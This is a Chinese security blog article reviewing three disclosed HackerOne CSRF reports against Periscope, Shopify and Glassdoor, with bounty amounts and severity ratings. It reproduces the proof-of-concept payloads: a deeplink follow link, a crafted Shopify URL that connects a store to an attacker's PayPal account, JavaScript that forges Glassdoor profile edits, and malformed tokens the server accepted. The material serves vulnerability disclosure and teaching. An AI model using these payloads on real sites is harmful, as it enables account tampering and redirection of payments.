freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HackerOne报告启示录(CSRF篇)
2022-06-06 14:08:32
所属地 浙江省

现在感觉真实的web漏洞分析文章越来越稀缺了,一方面是受到相关政策的影响,一方面也是由于大多数作者都聚焦于描述漏洞的具体细节,而缺乏对发现和探究漏洞的整个过程的描述,因此就有了分析H1公开报告的想法,本文共分析了3个H1上的CSRF公开漏洞报告,其刚好包含了三个评级,低危、中危和高危,受影响的企业及技术细节请详见下文。

利用Periscope安卓应用的Deeplink技术导致的CSRF漏洞

Periscope android app deeplink leads to CSRF in follow actionkunal94提交 赏金金额为$1,540

漏洞详情

相关背景:Periscope是一款美国的实时视频流应用程序,被Twitter收购,但因经营状况不佳已于2021年3月31日下线,此篇漏洞报告时间为2019年5月18日

在正常的Periscope网页中,当我们分享一个关注链接,类似于www.pscp.tv/<user-id>/follow,会得到一个响应需要我们确认是否关注,这意味着在这里存在着CSRF保护。然而当我们探究Periscope的安卓APP时会发现这里存在一些Deeplink允许我们直接执行CSRF攻击,无需确认就会自动关注相关账号

复现步骤

deeplink技术介绍

Android Manifest XML文件中的deeplinks

<data android:host="user" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="user" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="broadcast" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="channel" android:pathPrefix="/" android:scheme="pscpd"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscp"/>
<data android:host="discover" android:pathPrefix="/" android:scheme="pscpd"/>
  • 这意味我们可以使用pscp://user/<user-id>或者pscpd://user/<user-id>

  • 通常我们通过分享类似于www.pscp.tv/<user-id>/follow这样的web链接来让用户选择是否关注

  • 但是利用deeplink,我们可以使用pscp://user/user-id/follow这样的链接,使得用户只要访问这一链接,就会直接在periscope的安卓应用中关注任意用户

  • 这是最终的POC

<!DOCTYPE html>
<html>
<a href="pscp://user/<any user-id>/follow">CSRF DEMO</a>
</html>

通过android chrome浏览器访问上述POC的html页面,就能够在Periscope android应用程序中直接关注任意用户

相关回复与评估

漏洞评级为低危。这里还有一份相同漏洞的报告Periscope iOS app CSRF in follow action due to deeplink,就是发现这一漏洞在IOS中也能够成功执行,并最终获得了$2,940赏金(这也是为什么这位老哥询问为什么同样的漏洞自己的报告赏金却少了很多)

一个Shopify的关联Paypal账户的CSRF漏洞

CSRF on connecting Paypal as Payment Providerngalog提交 赏金金额为$500

漏洞详情

在Shopify当中存在这样一个功能,激活paypal快速结账,也就是将paypal作为收款账户。在这一具体请求中,CSRF的防护token虽然存在,但存在疏漏。 当用户试图添加paypal收款账号时,会发送一个这样的GET请求

https://h60ngalog.myshopify.com/admin/payments/complete_paypal_incontext_oauth/41?merchantId=MTU4MzAzMDUwNDowMTBmMDZkYjg1NzM0YjQ4NWVkMDk1YzQ1YWYxY2ZlNw%3D%3D&merchantIdInPayPal=5NS8DHQCFGT84&permissionsGranted=true&accountStatus=BUSINESS_ACCOUNT&consentStatus=true&productIntentID=addipmt&productIntentId=addipmt&isEmailConfirmed=true

参数merchantId的值代表特定商店,其值为Base64编码的1583030504:010f06db85734b485ed095c45af1cfe7,对于这么长的值显然是难以爆破的,所以可以算是一个不错的CSRF防护,但是这其中存在一个问题,就是它的值是固定的。也就是说,如果某人是这一商店之前的管理员,那他就可以利用这一固定参数执行CSRF攻击,将受害者的商店连接到他自己的Paypal账户作为收款账户。或者说如果这一参数泄露了,那么商店的所有者将永远处于易受CSRF攻击的状态。

复现步骤

  1. 首先访问https://YOURDOMAIN.myshopify.com/admin/settings/payments这一页面,如果已经关联了一个Paypal账户,先取消它

  2. 然后点击链接激活Paypal快速结账功能

  3. 记下链接中merchantId的值,这一参数代表你的商店,为了将你的商店连接到受害者的商店,需要用到这个参数,它看起来类似于MTU4MzAzMDUwNDowMTBmMDZkYjg1NzM0YjQ4NWVkMDk1YzQ1YWYxY2ZlNw%3D%3D

  4. 最后访问这一链接,将merchantId替换为之前所得到的值(替换YOUTSUBDOMAIN和Replaceme)

https://YOURSUBDOMAIN.myshopify.com/admin/payments/complete_paypal_incontext_oauth/41?merchantId=Replaceme&merchantIdInPayPal=5NS8DHQCFGT84&permissionsGranted=true&accountStatus=BUSINESS_ACCOUNT&consentStatus=true&productIntentID=addipmt&productIntentId=addipmt&isEmailConfirmed=true

这里的5NS8DHQCFGT84就是攻击者的Paypal merchain id,在你访问这一链接之后,你的商店就会连接到我的Paypal作为收款账户(也即我的Paypal成了支付供应商),至此就完成了一次CSRF攻击

相关回复与评估

漏洞评级为中级中危。经过调查与分析,这一token实际的有效期限为24小时,这限制了此问题的影响。

Glassdoor的一个影响求职者及雇主账号的CSRF漏洞

Site wide CSRF affecting both job seeker and Employer account on glassdoor.comta8ahi提交 赏金为$3000

漏洞详情

Glassdoor是一个求职招聘网站。以下为漏洞报告者ta8ahi发现此CSRF漏洞的具体流程:

该网站使用一个token来防止CSRF攻击,这一tokengdToken类似于这样,看起来似乎是一个安全的实现。

biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

首先检查该token是否正确地绑定了会话,我从一个帐户生成了一个随机token,并试图将它用于其他人的会话当中。经测试发现令牌与会话是绑定的,帐户交叉使用token失败。但是就在我测试的时候,我发现其中一个有请求成功完成了,通过追踪其具体细节,发现原来在复制这一token时,遗漏了第一个符号_。原先的token值为

_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

而我复制的token值为

iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-2d064VI336fR3dU02bgh67f342D65dZ3ZxrfzJInt3XqGE6fQ:c1cL5swU_iLklg5ly8bTC_Fs8Rofn3Dd_x4p3_Rc67A

然后将这一token用在了其他人的会话当中,请求却成功完成了,也就是说CSRF保护在这里失效了,非常奇怪。于是我开始尝试重新生成新的token来复现这一行为,我从帐户A中生成一个CSRF令牌,去掉第一个字符,并将其用于帐户B当中,请求成功完成。

Glassdoor中两种类型的账号即求职者和招聘者账号都能受到这一操作的影响,因此利用这一功能发送钓鱼邮件就可以完全接管账户 ,获得用户账户的访问操作权限。于是我撰写了这样一个POC,它会修改求职者账户的名称并自动添加一段工作经历。

//通过使用一个非法的gdToken值接管账户,并提交POST请求修改账户信息
function attack() {
    var fetchHash = new XMLHttpRequest();
    var url = "https://www.glassdoor.com/member/profileApi/set.htm";

    fetchHash.onreadystatechange = function () {
        if (fetchHash.readyState == 4 && fetchHash.status == 200) {
            //datax = fetchHash.responseText;
        }
    }

    fetchHash.open("POST", url, true);
    fetchHash.withCredentials = true;
    fetchHash.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        fetchHash.send('userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxmY');
}

attack();  //修改账户名称
attack2(); //添加工作经历

function attack2() {
    var fetchHash = new XMLHttpRequest();
    var url = "https://www.glassdoor.com/member/profileApi/set.htm";
    fetchHash.onreadystatechange = function () {
        if (fetchHash.readyState == 4 && fetchHash.status == 200) {
            //datax = fetchHash.responseText;
        }
    }
    fetchHash.open("POST", url, true);
    fetchHash.withCredentials = true;
    fetchHash.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
    fetchHash.send('userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%2Fe2hq2ufpdwpaso3o37tdhthjtazanz.burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:TeP6uO91BAb8FhlqLQBkpBpBqoCsWQO7Il8jc4k3XnuZuf1P8WVPwBx9dIt6pyILcXF3qhxJhffMohec02E8yw:8_-LRPyEz4J96fpG0CDqY3S7u5nLqbJgx9Y4RBgxmY');
}

在提交了这一漏洞之后,我仍然很好奇这是如何发生的,并与安全团队进行了讨论。 仔细研究这个问题后,我发现它与令牌的长度验证有关。 一个有效的令牌格式如下

--encoded-string--:--encoded-string--:--encoded-string--

Length of token: 153

现在如果我提交一个相同格式的令牌但是长度不同,服务器会将其作为有效令牌对待,也就是说满足以下约束条件的令牌对于任何会话来说都是有效令牌

The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--


Total length of the token ≠ length of an actual token

例如像下列的gdToken值都会被服务器作为有效令牌处理

::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2

Glassdoor的安全团队发现这其实是一个异常处理问题,伪造的令牌(长度不正确的令牌)触发了异常问题,但服务器仅仅记录了这一异常而未正确处理并仍按正常流程返回了数据。

相关回复与评估

漏洞评级为严重

# 黑客 # web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录